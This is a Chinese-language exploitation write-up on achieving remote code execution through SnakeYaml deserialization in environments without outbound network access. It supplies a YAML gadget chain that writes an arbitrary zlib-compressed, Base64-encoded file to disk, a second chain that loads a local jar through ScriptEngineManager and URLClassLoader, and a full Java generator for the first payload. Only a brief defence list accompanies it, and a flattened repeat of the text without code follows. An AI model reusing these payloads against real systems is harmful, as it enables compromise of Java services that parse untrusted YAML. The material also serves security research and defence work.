SnakeYaml 之不出网RCE
字数 1261 2025-08-24 23:51:15

SnakeYaml 不出网RCE利用技术研究

一、SnakeYaml简介与基础

SnakeYaml是Java的YAML解析类库,支持Java对象的序列化/反序列化。

YAML基础语法

  1. 基本格式要求

    • YAML大小写敏感
    • 使用缩进代表层级关系
    • 缩进只能使用空格,不能使用TAB
    • 不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)
  2. 示例

environments:
  dev:
    url: http://dev.bar.com
    name: Developer Setup
  prod:
    url: http://foo.bar.com
    name: My Cool App
my:
  servers:
    - dev.bar.com
    - foo.bar.com
  1. 支持的数据结构
    • 对象:使用冒号代表,格式为key: value
    • 数组:使用一个短横线加一个空格代表一个数组项
    • 常量:包括整数、浮点数、字符串、NULL、日期、布尔、时间等

二、SnakeYaml反序列化机制

SnakeYaml支持三种反序列化方式:

1. 无构造函数和set函数情况

使用反射的方式自动赋值。

示例类

public class ModelA {
    public int a;
    public int b;
}

反序列化方式

Yaml yaml = new Yaml();
ModelA a = (ModelA)yaml.load("!!com.zlg.SnakeYaml.ModelA {a: 5, b: 0}");

2. 构造函数调用

使用[]语法调用构造函数。

示例类

public class ModelB {
    public int a;
    public int b;
    public ModelB(int a, int b) {
        this.a = a;
        this.b = b;
    }
}

反序列化方式

ModelB b = (ModelB)yaml.load("!!com.zlg.SnakeYaml.ModelB [5, 0]");

3. 调用setXX函数

通过属性名调用对应的set方法。

示例类

public class ModelC {
    public int a;
    public void setInput(int a) {
        this.a = a;
    }
}

反序列化方式

ModelC c = (ModelC)yaml.load("!!com.zlg.SnakeYaml.ModelC {input: 5}");

关键点

  • 要调用setInput函数,把set去掉并将后面单词首字母小写后作为属性名
  • SnakeYaml可以利用Fastjson和Jackson的所有利用链
  • 没有autotype的限制

三、不出网RCE利用技术

1. 技术背景

传统SnakeYaml利用ScriptEngineManager链需要出网加载远程jar包,不出网环境下无法使用。

2. 利用思路

  1. 使用FastJson 1.2.68链写本地文件
  2. 使用ScriptEngineManager加载本地jar包进行代码执行

3. 具体实现

3.1 本地写文件POC

基于FastJson 1.2.68链改写为YAML形式:

!!sun.rmi.server.MarshalOutputStream [
  !!java.util.zip.InflaterOutputStream [
    !!java.io.FileOutputStream [
      !!java.io.File ["Destpath"], 
      false
    ], 
    !!java.util.zip.Inflater {
      input: !!binary base64str
    }, 
    1048576
  ]
]

参数说明

  • Destpath:生成的文件路径(Linux下建议使用/tmp目录)
  • base64str:经过zlib压缩后的文件内容的Base64编码

3.2 本地加载jar包POC

!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [
    [
      !!java.net.URL ["file:///tmp/payload.jar"]
    ]
  ]
]

4. 完整POC生成代码

package com.zlg.serialize.snakeyaml;

import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;

public class SnakeYamlOffInternet {
    public static void main(String[] args) throws Exception {
        String poc = createPoC("./1.txt", "./file/yaml-payload.txt");
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }

    public static String createPoC(String SrcPath, String Destpath) throws Exception {
        File file = new File(SrcPath);
        Long FileLength = file.length();
        byte[] FileContent = new byte[FileLength.intValue()];
        
        try {
            FileInputStream in = new FileInputStream(file);
            in.read(FileContent);
            in.close();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        
        byte[] compressbytes = compress(FileContent);
        String base64str = Base64.getEncoder().encodeToString(compressbytes);
        
        String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" 
            + Destpath + "\"],false],!!java.util.zip.Inflater { input: !!binary " 
            + base64str + " },1048576]]";
        
        System.out.println(poc);
        return poc;
    }

    public static byte[] compress(byte[] data) {
        byte[] output = new byte[0];
        Deflater compresser = new Deflater();
        compresser.reset();
        compresser.setInput(data);
        compresser.finish();
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
        
        try {
            byte[] buf = new byte[1024];
            while (!compresser.finished()) {
                int i = compresser.deflate(buf);
                bos.write(buf, 0, i);
            }
            output = bos.toByteArray();
        } catch (Exception e) {
            output = data;
            e.printStackTrace();
        } finally {
            try {
                bos.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        compresser.end();
        return output;
    }
}

四、技术要点总结

  1. SnakeYaml反序列化特点

    • 支持反射赋值、构造函数调用和set方法调用
    • 可以利用Fastjson和Jackson的利用链
    • 没有autotype限制
  2. 不出网RCE关键技术

    • 结合FastJson 1.2.68的本地写文件能力
    • 使用ScriptEngineManager加载本地jar包
    • 通过zlib压缩和Base64编码处理文件内容
  3. 注意事项

    • 文件内容需要经过zlib压缩后再Base64编码
    • SnakeYaml中byte数组的正确表示方式为!!binary base64str
    • Linux下建议使用/tmp目录,通常有写入权限

五、防御建议

  1. 避免反序列化不可信的YAML数据
  2. 使用安全配置或白名单机制限制反序列化的类
  3. 及时更新相关组件到安全版本
  4. 监控和限制可疑的文件操作和类加载行为

六、参考资源

  1. Java SnakeYaml反序列化漏洞
  2. FastJson 1.2.68漏洞分析
  3. SnakeYaml官方文档
SnakeYaml 不出网RCE利用技术研究 一、SnakeYaml简介与基础 SnakeYaml是Java的YAML解析类库,支持Java对象的序列化/反序列化。 YAML基础语法 基本格式要求 : YAML大小写敏感 使用缩进代表层级关系 缩进只能使用空格,不能使用TAB 不要求空格个数,只需要相同层级左对齐(一般2个或4个空格) 示例 : 支持的数据结构 : 对象 :使用冒号代表,格式为 key: value 数组 :使用一个短横线加一个空格代表一个数组项 常量 :包括整数、浮点数、字符串、NULL、日期、布尔、时间等 二、SnakeYaml反序列化机制 SnakeYaml支持三种反序列化方式: 1. 无构造函数和set函数情况 使用反射的方式自动赋值。 示例类 : 反序列化方式 : 2. 构造函数调用 使用 [] 语法调用构造函数。 示例类 : 反序列化方式 : 3. 调用setXX函数 通过属性名调用对应的set方法。 示例类 : 反序列化方式 : 关键点 : 要调用 setInput 函数,把set去掉并将后面单词首字母小写后作为属性名 SnakeYaml可以利用Fastjson和Jackson的所有利用链 没有autotype的限制 三、不出网RCE利用技术 1. 技术背景 传统SnakeYaml利用ScriptEngineManager链需要出网加载远程jar包,不出网环境下无法使用。 2. 利用思路 使用FastJson 1.2.68链写本地文件 使用ScriptEngineManager加载本地jar包进行代码执行 3. 具体实现 3.1 本地写文件POC 基于FastJson 1.2.68链改写为YAML形式: 参数说明 : Destpath :生成的文件路径(Linux下建议使用 /tmp 目录) base64str :经过zlib压缩后的文件内容的Base64编码 3.2 本地加载jar包POC 4. 完整POC生成代码 四、技术要点总结 SnakeYaml反序列化特点 : 支持反射赋值、构造函数调用和set方法调用 可以利用Fastjson和Jackson的利用链 没有autotype限制 不出网RCE关键技术 : 结合FastJson 1.2.68的本地写文件能力 使用ScriptEngineManager加载本地jar包 通过zlib压缩和Base64编码处理文件内容 注意事项 : 文件内容需要经过zlib压缩后再Base64编码 SnakeYaml中byte数组的正确表示方式为 !!binary base64str Linux下建议使用 /tmp 目录,通常有写入权限 五、防御建议 避免反序列化不可信的YAML数据 使用安全配置或白名单机制限制反序列化的类 及时更新相关组件到安全版本 监控和限制可疑的文件操作和类加载行为 六、参考资源 Java SnakeYaml反序列化漏洞 FastJson 1.2.68漏洞分析 SnakeYaml官方文档